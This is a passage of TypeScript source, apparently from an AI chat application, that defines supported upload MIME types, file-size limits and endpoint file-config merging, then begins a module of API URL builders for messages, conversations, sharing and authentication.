[EModelEndpoint.azureOpenAI]: true,\n [EModelEndpoint.anthropic]: true,\n [EModelEndpoint.custom]: true,\n [EModelEndpoint.bedrock]: true,\n};\n\nexport const excelFileTypes = [\n 'application/vnd.ms-excel',\n 'application/msexcel',\n 'application/x-msexcel',\n 'application/x-ms-excel',\n 'application/x-excel',\n 'application/x-dos_ms_excel',\n 'application/xls',\n 'application/x-xls',\n 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n];\n\nexport const fullMimeTypesList = [\n 'text/x-c',\n 'text/x-c++',\n 'application/csv',\n 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'text/html',\n 'text/x-java',\n 'application/json',\n 'text/markdown',\n 'application/pdf',\n 'text/x-php',\n 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'text/x-python',\n 'text/x-script.python',\n 'text/x-ruby',\n 'text/x-tex',\n 'text/plain',\n 'text/css',\n 'text/vtt',\n 'image/jpeg',\n 'text/javascript',\n 'image/gif',\n 'image/png',\n 'image/heic',\n 'image/heif',\n 'application/x-tar',\n 'application/x-sh',\n 'application/typescript',\n 'application/sql',\n 'application/yaml',\n 'application/vnd.coffeescript',\n 'application/xml',\n 'application/zip',\n 'application/x-parquet',\n 'application/vnd.oasis.opendocument.text',\n 'application/vnd.oasis.opendocument.spreadsheet',\n 'application/vnd.oasis.opendocument.presentation',\n 'application/vnd.oasis.opendocument.graphics',\n 'image/svg',\n 'image/svg+xml',\n // Video formats\n 'video/mp4',\n 'video/avi',\n 'video/mov',\n 'video/wmv',\n 'video/flv',\n 'video/webm',\n 'video/mkv',\n 'video/m4v',\n 'video/3gp',\n 'video/ogv',\n // Audio formats\n 'audio/mp3',\n 'audio/wav',\n 'audio/ogg',\n 'audio/m4a',\n 'audio/aac',\n 'audio/flac',\n 'audio/wma',\n 'audio/opus',\n 'audio/mpeg',\n ...excelFileTypes,\n];\n\nexport const codeInterpreterMimeTypesList = [\n 'text/x-c',\n 'text/x-c++',\n 'application/csv',\n 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'text/html',\n 'text/x-java',\n 'application/json',\n 'text/markdown',\n 'application/pdf',\n 'text/x-php',\n 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'text/x-python',\n 'text/x-script.python',\n 'text/x-ruby',\n 'text/x-tex',\n 'text/plain',\n 'text/css',\n 'image/jpeg',\n 'text/javascript',\n 'image/gif',\n 'image/png',\n 'image/heic',\n 'image/heif',\n 'application/x-tar',\n 'application/typescript',\n 'application/xml',\n 'application/zip',\n 'application/x-parquet',\n ...excelFileTypes,\n];\n\nexport const retrievalMimeTypesList = [\n 'text/x-c',\n 'text/x-c++',\n 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'text/html',\n 'text/x-java',\n 'application/json',\n 'text/markdown',\n 'application/pdf',\n 'text/x-php',\n 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'text/x-python',\n 'text/x-script.python',\n 'text/x-ruby',\n 'text/x-tex',\n 'text/plain',\n];\n\nexport const imageExtRegex = /\\.(jpg|jpeg|png|gif|webp|heic|heif)$/i;\n\n/** @see https://docs.aws.amazon.com/bedrock/latest/APIReference/API_runtime_DocumentBlock.html */\nexport type BedrockDocumentFormat =\n | 'pdf'\n | 'csv'\n | 'doc'\n | 'docx'\n | 'xls'\n | 'xlsx'\n | 'html'\n | 'txt'\n | 'md';\n\n/** Maps MIME types to Bedrock Converse API document format values */\nexport const bedrockDocumentFormats: Record<string, BedrockDocumentFormat> = {\n 'application/pdf': 'pdf',\n 'text/csv': 'csv',\n 'application/csv': 'csv',\n 'application/msword': 'doc',\n 'application/vnd.openxmlformats-officedocument.wordprocessingml.document': 'docx',\n 'application/vnd.ms-excel': 'xls',\n 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet': 'xlsx',\n 'text/html': 'html',\n 'text/plain': 'txt',\n 'text/markdown': 'md',\n};\n\nexport const isBedrockDocumentType = (mimeType?: string): boolean =>\n mimeType != null && mimeType in bedrockDocumentFormats;\n\n/** File extensions accepted by Bedrock document uploads (for input accept attributes) */\nexport const bedrockDocumentExtensions =\n '.pdf,.csv,.doc,.docx,.xls,.xlsx,.html,.htm,.txt,.md,application/pdf,text/csv,application/csv,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/vnd.ms-excel,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,text/html,text/plain,text/markdown';\n\nexport const excelMimeTypes =\n /^application\\/(vnd\\.ms-excel|msexcel|x-msexcel|x-ms-excel|x-excel|x-dos_ms_excel|xls|x-xls|vnd\\.openxmlformats-officedocument\\.spreadsheetml\\.sheet)$/;\n\nexport const textMimeTypes =\n /^(text\\/(x-c|x-csharp|tab-separated-values|x-c\\+\\+|x-h|x-java|html|markdown|x-php|x-python|x-script\\.python|x-ruby|x-tex|plain|css|vtt|javascript|csv|xml))$/;\n\nexport const applicationMimeTypes =\n /^(application\\/(epub\\+zip|csv|json|msword|pdf|x-tar|x-sh|typescript|sql|yaml|x-parquet|vnd\\.apache\\.parquet|vnd\\.coffeescript|vnd\\.openxmlformats-officedocument\\.(wordprocessingml\\.document|presentationml\\.presentation|spreadsheetml\\.sheet)|vnd\\.oasis\\.opendocument\\.(text|spreadsheet|presentation|graphics)|xml|zip))$/;\n\nexport const imageMimeTypes = /^image\\/(jpeg|gif|png|webp|heic|heif)$/;\n\nexport const audioMimeTypes =\n /^audio\\/(mp3|mpeg|mpeg3|wav|wave|x-wav|ogg|vorbis|mp4|m4a|x-m4a|flac|x-flac|webm|aac|wma|opus)$/;\n\nexport const videoMimeTypes = /^video\\/(mp4|avi|mov|wmv|flv|webm|mkv|m4v|3gp|ogv)$/;\n\nexport const defaultOCRMimeTypes = [\n imageMimeTypes,\n excelMimeTypes,\n /^application\\/pdf$/,\n /^application\\/vnd\\.openxmlformats-officedocument\\.(wordprocessingml\\.document|presentationml\\.presentation)$/,\n /^application\\/vnd\\.ms-(word|powerpoint)$/,\n /^application\\/epub\\+zip$/,\n /^application\\/vnd\\.oasis\\.opendocument\\.(text|spreadsheet|presentation|graphics)$/,\n];\n\n/** MIME types handled by the built-in document parser (pdf, docx, excel variants, ods/odt) */\nexport const documentParserMimeTypes = [\n excelMimeTypes,\n /^application\\/pdf$/,\n /^application\\/vnd\\.openxmlformats-officedocument\\.wordprocessingml\\.document$/,\n /^application\\/vnd\\.oasis\\.opendocument\\.spreadsheet$/,\n /^application\\/vnd\\.oasis\\.opendocument\\.text$/,\n];\n\nexport const defaultTextMimeTypes = [/^[\\w.-]+\\/[\\w.-]+$/];\n\nexport const defaultSTTMimeTypes = [audioMimeTypes];\n\nexport const supportedMimeTypes = [\n textMimeTypes,\n excelMimeTypes,\n applicationMimeTypes,\n imageMimeTypes,\n videoMimeTypes,\n audioMimeTypes,\n /** Supported by LC Code Interpreter API */\n /^image\\/(svg|svg\\+xml)$/,\n];\n\nexport const codeInterpreterMimeTypes = [\n textMimeTypes,\n excelMimeTypes,\n applicationMimeTypes,\n imageMimeTypes,\n];\n\nexport const codeTypeMapping: { [key: string]: string } = {\n c: 'text/x-c', // .c - C source\n cs: 'text/x-csharp', // .cs - C# source\n cpp: 'text/x-c++', // .cpp - C++ source\n h: 'text/x-h', // .h - C/C++ header\n md: 'text/markdown', // .md - Markdown\n php: 'text/x-php', // .php - PHP source\n py: 'text/x-python', // .py - Python source\n rb: 'text/x-ruby', // .rb - Ruby source\n tex: 'text/x-tex', // .tex - LaTeX source\n java: 'text/x-java', // .java - Java source\n js: 'text/javascript', // .js - JavaScript source\n sh: 'application/x-sh', // .sh - Shell script\n ts: 'application/typescript', // .ts - TypeScript source\n tar: 'application/x-tar', // .tar - Tar archive\n zip: 'application/zip', // .zip - ZIP archive\n txt: 'text/plain', // .txt - Plain text file\n log: 'text/plain', // .log - Log file\n csv: 'text/csv', // .csv - Comma-separated values\n tsv: 'text/tab-separated-values', // .tsv - Tab-separated values\n parquet: 'application/x-parquet', // .parquet - Apache Parquet columnar storage\n json: 'application/json', // .json - JSON file\n xml: 'application/xml', // .xml - XML file\n html: 'text/html', // .html - HTML file\n htm: 'text/html', // .htm - HTML file\n css: 'text/css', // .css - CSS file\n yml: 'application/yaml', // .yml - YAML\n yaml: 'application/yaml', // .yaml - YAML\n sql: 'application/sql', // .sql - SQL (IANA registered)\n dart: 'text/plain', // .dart - Dart source\n coffee: 'application/vnd.coffeescript', // .coffee - CoffeeScript (IANA registered)\n go: 'text/plain', // .go - Go source\n rs: 'text/plain', // .rs - Rust source\n swift: 'text/plain', // .swift - Swift source\n kt: 'text/plain', // .kt - Kotlin source\n kts: 'text/plain', // .kts - Kotlin script\n scala: 'text/plain', // .scala - Scala source\n lua: 'text/plain', // .lua - Lua source\n r: 'text/plain', // .r - R source\n pl: 'text/plain', // .pl - Perl source\n pm: 'text/plain', // .pm - Perl module\n groovy: 'text/plain', // .groovy - Groovy source\n gradle: 'text/plain', // .gradle - Gradle build script\n clj: 'text/plain', // .clj - Clojure source\n cljs: 'text/plain', // .cljs - ClojureScript source\n cljc: 'text/plain', // .cljc - Clojure common source\n elm: 'text/plain', // .elm - Elm source\n erl: 'text/plain', // .erl - Erlang source\n hrl: 'text/plain', // .hrl - Erlang header\n ex: 'text/plain', // .ex - Elixir source\n exs: 'text/plain', // .exs - Elixir script\n hs: 'text/plain', // .hs - Haskell source\n lhs: 'text/plain', // .lhs - Literate Haskell source\n ml: 'text/plain', // .ml - OCaml source\n mli: 'text/plain', // .mli - OCaml interface\n fs: 'text/plain', // .fs - F# source\n fsx: 'text/plain', // .fsx - F# script\n lisp: 'text/plain', // .lisp - Lisp source\n cl: 'text/plain', // .cl - Common Lisp source\n scm: 'text/plain', // .scm - Scheme source\n rkt: 'text/plain', // .rkt - Racket source\n jsx: 'text/plain', // .jsx - React JSX\n tsx: 'text/plain', // .tsx - React TSX\n vue: 'text/plain', // .vue - Vue component\n svelte: 'text/plain', // .svelte - Svelte component\n astro: 'text/plain', // .astro - Astro component\n scss: 'text/plain', // .scss - SCSS source\n sass: 'text/plain', // .sass - Sass source\n less: 'text/plain', // .less - Less source\n styl: 'text/plain', // .styl - Stylus source\n toml: 'text/plain', // .toml - TOML config\n ini: 'text/plain', // .ini - INI config\n cfg: 'text/plain', // .cfg - Config file\n conf: 'text/plain', // .conf - Config file\n env: 'text/plain', // .env - Environment file\n properties: 'text/plain', // .properties - Java properties\n graphql: 'text/plain', // .graphql - GraphQL schema/query\n gql: 'text/plain', // .gql - GraphQL schema/query\n proto: 'text/plain', // .proto - Protocol Buffers\n dockerfile: 'text/plain', // Dockerfile\n makefile: 'text/plain', // Makefile\n cmake: 'text/plain', // .cmake - CMake script\n rake: 'text/plain', // .rake - Rake task\n gemspec: 'text/plain', // .gemspec - Ruby gem spec\n bash: 'text/plain', // .bash - Bash script\n zsh: 'text/plain', // .zsh - Zsh script\n fish: 'text/plain', // .fish - Fish script\n ps1: 'text/plain', // .ps1 - PowerShell script\n psm1: 'text/plain', // .psm1 - PowerShell module\n bat: 'text/plain', // .bat - Batch script\n cmd: 'text/plain', // .cmd - Windows command script\n asm: 'text/plain', // .asm - Assembly source\n s: 'text/plain', // .s - Assembly source\n v: 'text/plain', // .v - V or Verilog source\n zig: 'text/plain', // .zig - Zig source\n nim: 'text/plain', // .nim - Nim source\n cr: 'text/plain', // .cr - Crystal source\n d: 'text/plain', // .d - D source\n pas: 'text/plain', // .pas - Pascal source\n pp: 'text/plain', // .pp - Pascal/Puppet source\n f90: 'text/plain', // .f90 - Fortran 90 source\n f95: 'text/plain', // .f95 - Fortran 95 source\n f03: 'text/plain', // .f03 - Fortran 2003 source\n jl: 'text/plain', // .jl - Julia source\n m: 'text/plain', // .m - Objective-C/MATLAB source\n mm: 'text/plain', // .mm - Objective-C++ source\n ada: 'text/plain', // .ada - Ada source\n adb: 'text/plain', // .adb - Ada body\n ads: 'text/plain', // .ads - Ada spec\n cob: 'text/plain', // .cob - COBOL source\n cbl: 'text/plain', // .cbl - COBOL source\n tcl: 'text/plain', // .tcl - Tcl source\n awk: 'text/plain', // .awk - AWK script\n sed: 'text/plain', // .sed - Sed script\n odt: 'application/vnd.oasis.opendocument.text', // .odt - OpenDocument Text\n ods: 'application/vnd.oasis.opendocument.spreadsheet', // .ods - OpenDocument Spreadsheet\n odp: 'application/vnd.oasis.opendocument.presentation', // .odp - OpenDocument Presentation\n odg: 'application/vnd.oasis.opendocument.graphics', // .odg - OpenDocument Graphics\n};\n\n/** Maps image extensions to MIME types for formats browsers may not recognize */\nexport const imageTypeMapping: { [key: string]: string } = {\n heic: 'image/heic',\n heif: 'image/heif',\n};\n\n/** Normalizes non-standard MIME types that browsers may report to their canonical forms */\nexport const mimeTypeAliases: Readonly<Record<string, string>> = {\n 'text/x-python-script': 'text/x-python',\n};\n\n/**\n * Infers the MIME type from a file's extension when the browser doesn't recognize it,\n * and normalizes known non-standard MIME type aliases to their canonical forms.\n * @param fileName - The file name including its extension\n * @param currentType - The MIME type reported by the browser (may be empty string)\n * @returns The normalized or inferred MIME type; empty string if unresolvable\n */\nexport function inferMimeType(fileName: string, currentType: string): string {\n if (currentType) {\n return mimeTypeAliases[currentType] ?? currentType;\n }\n\n const extension = fileName.split('.').pop()?.toLowerCase() ?? '';\n return codeTypeMapping[extension] || imageTypeMapping[extension] || currentType;\n}\n\nexport const retrievalMimeTypes = [\n /^(text\\/(x-c|x-c\\+\\+|x-h|html|x-java|markdown|x-php|x-python|x-script\\.python|x-ruby|x-tex|plain|vtt|xml))$/,\n /^(application\\/(json|pdf|vnd\\.openxmlformats-officedocument\\.(wordprocessingml\\.document|presentationml\\.presentation)))$/,\n];\n\nexport const megabyte = 1024 * 1024;\n/** Helper function to get megabytes value */\nexport const mbToBytes = (mb: number): number => mb * megabyte;\n\nconst defaultSizeLimit = mbToBytes(512);\nconst defaultTokenLimit = 100000;\nconst assistantsFileConfig = {\n fileLimit: 10,\n fileSizeLimit: defaultSizeLimit,\n totalSizeLimit: defaultSizeLimit,\n supportedMimeTypes,\n disabled: false,\n};\n\nexport const fileConfig = {\n endpoints: {\n [EModelEndpoint.assistants]: assistantsFileConfig,\n [EModelEndpoint.azureAssistants]: assistantsFileConfig,\n [EModelEndpoint.agents]: assistantsFileConfig,\n [EModelEndpoint.anthropic]: {\n fileLimit: 10,\n fileSizeLimit: defaultSizeLimit,\n totalSizeLimit: defaultSizeLimit,\n supportedMimeTypes,\n disabled: false,\n },\n default: {\n fileLimit: 10,\n fileSizeLimit: defaultSizeLimit,\n totalSizeLimit: defaultSizeLimit,\n supportedMimeTypes,\n disabled: false,\n },\n },\n serverFileSizeLimit: defaultSizeLimit,\n avatarSizeLimit: mbToBytes(2),\n fileTokenLimit: defaultTokenLimit,\n clientImageResize: {\n enabled: false,\n maxWidth: 1900,\n maxHeight: 1900,\n quality: 0.92,\n },\n ocr: {\n supportedMimeTypes: defaultOCRMimeTypes,\n },\n text: {\n supportedMimeTypes: defaultTextMimeTypes,\n },\n stt: {\n supportedMimeTypes: defaultSTTMimeTypes,\n },\n checkType: function (fileType: string, supportedTypes: RegExp[] = supportedMimeTypes) {\n return supportedTypes.some((regex) => regex.test(fileType));\n },\n};\n\nconst supportedMimeTypesSchema = z\n .array(z.any())\n .optional()\n .refine(\n (mimeTypes) => {\n if (!mimeTypes) {\n return true;\n }\n return mimeTypes.every(\n (mimeType) => mimeType instanceof RegExp || typeof mimeType === 'string',\n );\n },\n {\n message: 'Each mimeType must be a string or a RegExp object.',\n },\n );\n\nexport const endpointFileConfigSchema = z.object({\n disabled: z.boolean().optional(),\n fileLimit: z.number().min(0).optional(),\n fileSizeLimit: z.number().min(0).optional(),\n totalSizeLimit: z.number().min(0).optional(),\n supportedMimeTypes: supportedMimeTypesSchema.optional(),\n});\n\nexport const fileConfigSchema = z.object({\n endpoints: z.record(endpointFileConfigSchema).optional(),\n serverFileSizeLimit: z.number().min(0).optional(),\n avatarSizeLimit: z.number().min(0).optional(),\n fileTokenLimit: z.number().min(0).optional(),\n imageGeneration: z\n .object({\n percentage: z.number().min(0).max(100).optional(),\n px: z.number().min(0).optional(),\n })\n .optional(),\n clientImageResize: z\n .object({\n enabled: z.boolean().optional(),\n maxWidth: z.number().min(0).optional(),\n maxHeight: z.number().min(0).optional(),\n quality: z.number().min(0).max(1).optional(),\n })\n .optional(),\n ocr: z\n .object({\n supportedMimeTypes: supportedMimeTypesSchema.optional(),\n })\n .optional(),\n text: z\n .object({\n supportedMimeTypes: supportedMimeTypesSchema.optional(),\n })\n .optional(),\n});\n\nexport type TFileConfig = z.infer<typeof fileConfigSchema>;\n\n/** Helper function to safely convert string patterns to RegExp objects */\nexport const convertStringsToRegex = (patterns: string[]): RegExp[] =>\n patterns.reduce((acc: RegExp[], pattern) => {\n try {\n const regex = new RegExp(pattern);\n acc.push(regex);\n } catch (error) {\n console.error(`Invalid regex pattern \"${pattern}\" skipped.`, error);\n }\n return acc;\n }, []);\n\n/**\n * Gets the appropriate endpoint file configuration with standardized lookup logic.\n *\n * @param params - Object containing fileConfig, endpoint, and optional conversationEndpoint\n * @param params.fileConfig - The merged file configuration\n * @param params.endpoint - The endpoint name to look up\n * @param params.conversationEndpoint - Optional conversation endpoint for additional context\n * @returns The endpoint file configuration or undefined\n */\n/**\n * Merges an endpoint config with the default config to ensure all fields are populated.\n * For document-supported providers, uses the comprehensive MIME type list (includes videos/audio).\n */\nfunction mergeWithDefault(\n endpointConfig: EndpointFileConfig,\n defaultConfig: EndpointFileConfig,\n endpoint?: string | null,\n): EndpointFileConfig {\n /** Use comprehensive MIME types for document-supported providers */\n const defaultMimeTypes = isDocumentSupportedProvider(endpoint)\n ? supportedMimeTypes\n : defaultConfig.supportedMimeTypes;\n\n return {\n disabled: endpointConfig.disabled ?? defaultConfig.disabled,\n fileLimit: endpointConfig.fileLimit ?? defaultConfig.fileLimit,\n fileSizeLimit: endpointConfig.fileSizeLimit ?? defaultConfig.fileSizeLimit,\n totalSizeLimit: endpointConfig.totalSizeLimit ?? defaultConfig.totalSizeLimit,\n supportedMimeTypes: endpointConfig.supportedMimeTypes ?? defaultMimeTypes,\n };\n}\n\nexport function getEndpointFileConfig(params: {\n fileConfig?: FileConfig | null;\n endpoint?: string | null;\n endpointType?: string | null;\n}): EndpointFileConfig {\n const { fileConfig: mergedFileConfig, endpoint, endpointType } = params;\n\n if (!mergedFileConfig?.endpoints) {\n return fileConfig.endpoints.default;\n }\n\n /** Compute an effective default by merging user-configured default over the base default */\n const baseDefaultConfig = fileConfig.endpoints.default;\n const userDefaultConfig = mergedFileConfig.endpoints.default;\n const defaultConfig = userDefaultConfig\n ? mergeWithDefault(userDefaultConfig, baseDefaultConfig, 'default')\n : baseDefaultConfig;\n\n const normalizedEndpoint = normalizeEndpointName(endpoint ?? '');\n const standardEndpoints = new Set([\n 'default',\n EModelEndpoint.agents,\n EModelEndpoint.assistants,\n EModelEndpoint.azureAssistants,\n EModelEndpoint.openAI,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.anthropic,\n EModelEndpoint.google,\n EModelEndpoint.bedrock,\n ]);\n\n const normalizedEndpointType = normalizeEndpointName(endpointType ?? '');\n const isCustomEndpoint =\n endpointType === EModelEndpoint.custom ||\n (!standardEndpoints.has(normalizedEndpointType) &&\n normalizedEndpoint &&\n !standardEndpoints.has(normalizedEndpoint));\n\n if (isCustomEndpoint) {\n /** 1. Check direct endpoint lookup (could be normalized or not) */\n if (endpoint && mergedFileConfig.endpoints[endpoint]) {\n return mergeWithDefault(mergedFileConfig.endpoints[endpoint], defaultConfig, endpoint);\n }\n /** 2. Check normalized endpoint lookup (skip standard endpoint keys) */\n for (const key in mergedFileConfig.endpoints) {\n if (!standardEndpoints.has(key) && normalizeEndpointName(key) === normalizedEndpoint) {\n return mergeWithDefault(mergedFileConfig.endpoints[key], defaultConfig, key);\n }\n }\n /** 3. Fallback to generic 'custom' config if any */\n if (mergedFileConfig.endpoints[EModelEndpoint.custom]) {\n return mergeWithDefault(\n mergedFileConfig.endpoints[EModelEndpoint.custom],\n defaultConfig,\n endpoint,\n );\n }\n /** 4. Fallback to 'agents' (all custom endpoints are non-assistants) */\n if (mergedFileConfig.endpoints[EModelEndpoint.agents]) {\n return mergeWithDefault(\n mergedFileConfig.endpoints[EModelEndpoint.agents],\n defaultConfig,\n endpoint,\n );\n }\n /** 5. Fallback to default */\n return defaultConfig;\n }\n\n /** Check endpointType first (most reliable for standard endpoints) */\n if (endpointType && mergedFileConfig.endpoints[endpointType]) {\n return mergeWithDefault(mergedFileConfig.endpoints[endpointType], defaultConfig, endpointType);\n }\n\n /** Check direct endpoint lookup */\n if (endpoint && mergedFileConfig.endpoints[endpoint]) {\n return mergeWithDefault(mergedFileConfig.endpoints[endpoint], defaultConfig, endpoint);\n }\n\n /** Check normalized endpoint */\n if (normalizedEndpoint && mergedFileConfig.endpoints[normalizedEndpoint]) {\n return mergeWithDefault(\n mergedFileConfig.endpoints[normalizedEndpoint],\n defaultConfig,\n normalizedEndpoint,\n );\n }\n\n /** Fallback to agents if endpoint is explicitly agents */\n const isAgents = isAgentsEndpoint(normalizedEndpointType || normalizedEndpoint);\n if (isAgents && mergedFileConfig.endpoints[EModelEndpoint.agents]) {\n return mergeWithDefault(\n mergedFileConfig.endpoints[EModelEndpoint.agents],\n defaultConfig,\n EModelEndpoint.agents,\n );\n }\n\n /** Return default config */\n return defaultConfig;\n}\n\nexport function mergeFileConfig(dynamic: z.infer<typeof fileConfigSchema> | undefined): FileConfig {\n const mergedConfig: FileConfig = {\n ...fileConfig,\n endpoints: {\n ...fileConfig.endpoints,\n },\n ocr: {\n ...fileConfig.ocr,\n supportedMimeTypes: fileConfig.ocr?.supportedMimeTypes || [],\n },\n text: {\n ...fileConfig.text,\n supportedMimeTypes: fileConfig.text?.supportedMimeTypes || [],\n },\n stt: {\n ...fileConfig.stt,\n supportedMimeTypes: fileConfig.stt?.supportedMimeTypes || [],\n },\n };\n if (!dynamic) {\n return mergedConfig;\n }\n\n if (dynamic.serverFileSizeLimit !== undefined) {\n mergedConfig.serverFileSizeLimit = mbToBytes(dynamic.serverFileSizeLimit);\n }\n\n if (dynamic.avatarSizeLimit !== undefined) {\n mergedConfig.avatarSizeLimit = mbToBytes(dynamic.avatarSizeLimit);\n }\n\n if (dynamic.fileTokenLimit !== undefined) {\n mergedConfig.fileTokenLimit = dynamic.fileTokenLimit;\n }\n\n // Merge clientImageResize configuration\n if (dynamic.clientImageResize !== undefined) {\n mergedConfig.clientImageResize = {\n ...mergedConfig.clientImageResize,\n ...dynamic.clientImageResize,\n };\n }\n\n if (dynamic.ocr !== undefined) {\n mergedConfig.ocr = {\n ...mergedConfig.ocr,\n ...dynamic.ocr,\n };\n if (dynamic.ocr.supportedMimeTypes) {\n mergedConfig.ocr.supportedMimeTypes = convertStringsToRegex(dynamic.ocr.supportedMimeTypes);\n }\n }\n\n if (dynamic.text !== undefined) {\n mergedConfig.text = {\n ...mergedConfig.text,\n ...dynamic.text,\n };\n if (dynamic.text.supportedMimeTypes) {\n mergedConfig.text.supportedMimeTypes = convertStringsToRegex(dynamic.text.supportedMimeTypes);\n }\n }\n\n if (!dynamic.endpoints) {\n return mergedConfig;\n }\n\n for (const key in dynamic.endpoints) {\n const dynamicEndpoint = (dynamic.endpoints as Record<string, EndpointFileConfig>)[key];\n\n /** Deep copy the base endpoint config if it exists to prevent mutation */\n if (!mergedConfig.endpoints[key]) {\n mergedConfig.endpoints[key] = {};\n } else {\n mergedConfig.endpoints[key] = { ...mergedConfig.endpoints[key] };\n }\n\n const mergedEndpoint = mergedConfig.endpoints[key];\n\n if (dynamicEndpoint.disabled === true) {\n mergedEndpoint.disabled = true;\n mergedEndpoint.fileLimit = 0;\n mergedEndpoint.fileSizeLimit = 0;\n mergedEndpoint.totalSizeLimit = 0;\n mergedEndpoint.supportedMimeTypes = [];\n continue;\n }\n\n if (dynamicEndpoint.fileSizeLimit !== undefined) {\n mergedEndpoint.fileSizeLimit = mbToBytes(dynamicEndpoint.fileSizeLimit);\n }\n\n if (dynamicEndpoint.totalSizeLimit !== undefined) {\n mergedEndpoint.totalSizeLimit = mbToBytes(dynamicEndpoint.totalSizeLimit);\n }\n\n const configKeys = ['fileLimit'] as const;\n configKeys.forEach((field) => {\n if (dynamicEndpoint[field] !== undefined) {\n mergedEndpoint[field] = dynamicEndpoint[field];\n }\n });\n\n if (dynamicEndpoint.disabled !== undefined) {\n mergedEndpoint.disabled = dynamicEndpoint.disabled;\n }\n\n if (dynamicEndpoint.supportedMimeTypes) {\n mergedEndpoint.supportedMimeTypes = convertStringsToRegex(\n dynamicEndpoint.supportedMimeTypes as unknown as string[],\n );\n }\n }\n\n return mergedConfig;\n}\n","import type { AssistantsEndpoint } from './schemas';\nimport * as q from './types/queries';\nimport { ResourceType } from './accessPermissions';\n\nlet BASE_URL = '';\nif (\n typeof process === 'undefined' ||\n (process as typeof process & { browser?: boolean }).browser === true\n) {\n // process is only available in node context, or process.browser is true in client-side code\n // This is to ensure that the BASE_URL is set correctly based on the <base>\n // element in the HTML document, if it exists.\n const baseEl = document.querySelector('base');\n BASE_URL = baseEl?.getAttribute('href') || '/';\n}\n\nif (BASE_URL && BASE_URL.endsWith('/')) {\n BASE_URL = BASE_URL.slice(0, -1);\n}\n\nexport const apiBaseUrl = () => BASE_URL;\n\n// Testing this buildQuery function\nconst buildQuery = (params: Record<string, unknown>): string => {\n const query = Object.entries(params)\n .filter(([, value]) => {\n if (Array.isArray(value)) {\n return value.length > 0;\n }\n return value !== undefined && value !== null && value !== '';\n })\n .map(([key, value]) => {\n if (Array.isArray(value)) {\n return value.map((v) => `${key}=${encodeURIComponent(v)}`).join('&');\n }\n return `${key}=${encodeURIComponent(String(value))}`;\n })\n .join('&');\n return query ? `?${query}` : '';\n};\n\nexport const health = () => `${BASE_URL}/health`;\nexport const user = () => `${BASE_URL}/api/user`;\n\nexport const balance = () => `${BASE_URL}/api/balance`;\n\nexport const userPlugins = () => `${BASE_URL}/api/user/plugins`;\n\nexport const deleteUser = () => `${BASE_URL}/api/user/delete`;\n\nconst messagesRoot = `${BASE_URL}/api/messages`;\n\nexport const messages = (params: q.MessagesListParams) => {\n const { conversationId, messageId, ...rest } = params;\n\n if (conversationId && messageId) {\n return `${messagesRoot}/${conversationId}/${messageId}`;\n }\n\n if (conversationId) {\n return `${messagesRoot}/${conversationId}`;\n }\n\n return `${messagesRoot}${buildQuery(rest)}`;\n};\n\nexport const messagesArtifacts = (messageId: string) => `${messagesRoot}/artifact/${messageId}`;\n\nexport const messagesBranch = () => `${messagesRoot}/branch`;\n\nconst shareRoot = `${BASE_URL}/api/share`;\nexport const shareMessages = (shareId: string) => `${shareRoot}/${shareId}`;\nexport const getSharedLink = (conversationId: string) => `${shareRoot}/link/${conversationId}`;\nexport const getSharedLinks = (\n pageSize: number,\n isPublic: boolean,\n sortBy: 'title' | 'createdAt',\n sortDirection: 'asc' | 'desc',\n search?: string,\n cursor?: string,\n) =>\n `${shareRoot}?pageSize=${pageSize}&isPublic=${isPublic}&sortBy=${sortBy}&sortDirection=${sortDirection}${\n search ? `&search=${search}` : ''\n }${cursor ? `&cursor=${cursor}` : ''}`;\nexport const createSharedLink = (conversationId: string) => `${shareRoot}/${conversationId}`;\nexport const updateSharedLink = (shareId: string) => `${shareRoot}/${shareId}`;\n\nconst keysEndpoint = `${BASE_URL}/api/keys`;\n\nexport const keys = () => keysEndpoint;\n\nexport const userKeyQuery = (name: string) => `${keysEndpoint}?name=${name}`;\n\nexport const revokeUserKey = (name: string) => `${keysEndpoint}/${name}`;\n\nexport const revokeAllUserKeys = () => `${keysEndpoint}?all=true`;\n\nconst apiKeysEndpoint = `${BASE_URL}/api/api-keys`;\n\nexport const apiKeys = () => apiKeysEndpoint;\n\nexport const apiKeyById = (id: string) => `${apiKeysEndpoint}/${id}`;\n\nexport const conversationsRoot = `${BASE_URL}/api/convos`;\n\nexport const conversations = (params: q.ConversationListParams) => {\n return `${conversationsRoot}${buildQuery(params)}`;\n};\n\nexport const conversationById = (id: string) => `${conversationsRoot}/${id}`;\n\nexport const genTitle = (conversationId: string) =>\n `${conversationsRoot}/gen_title/${encodeURIComponent(conversationId)}`;\n\nexport const updateConversation = () => `${conversationsRoot}/update`;\n\nexport const archiveConversation = () => `${conversationsRoot}/archive`;\n\nexport const deleteConversation = () => `${conversationsRoot}`;\n\nexport const deleteAllConversation = () => `${conversationsRoot}/all`;\n\nexport const importConversation = () => `${conversationsRoot}/import`;\n\nexport const forkConversation = () => `${conversationsRoot}/fork`;\n\nexport const duplicateConversation = () => `${conversationsRoot}/duplicate`;\n\nexport const search = (q: string, cursor?: string | null) =>\n `${BASE_URL}/api/search?q=${q}${cursor ? `&cursor=${cursor}` : ''}`;\n\nexport const searchEnabled = () => `${BASE_URL}/api/search/enable`;\n\nexport const presets = () => `${BASE_URL}/api/presets`;\n\nexport const deletePreset = () => `${BASE_URL}/api/presets/delete`;\n\nexport const aiEndpoints = () => `${BASE_URL}/api/endpoints`;\n\nexport const models = () => `${BASE_URL}/api/models`;\n\nexport const tokenizer = () => `${BASE_URL}/api/tokenizer`;\n\nexport const login = () => `${BASE_URL}/api/auth/login`;\n\nexport const logout = () => `${BASE_URL}/api/auth/logout`;\n\nexport const register = () => `${BASE_URL}/api/auth/register`;\n\nexport const loginFacebook = () => `${BASE_URL}/api/auth/facebook`;\n\nexport const loginGoogle = () => `${BASE_URL}/api/auth/google`;\n\nexport const refreshToken = (retry?: boolean) =>\n `${BASE_URL}/api/auth/refresh${retry === true ? '?retry=true' : ''}`;\n\nexport const requestPasswordReset = () => 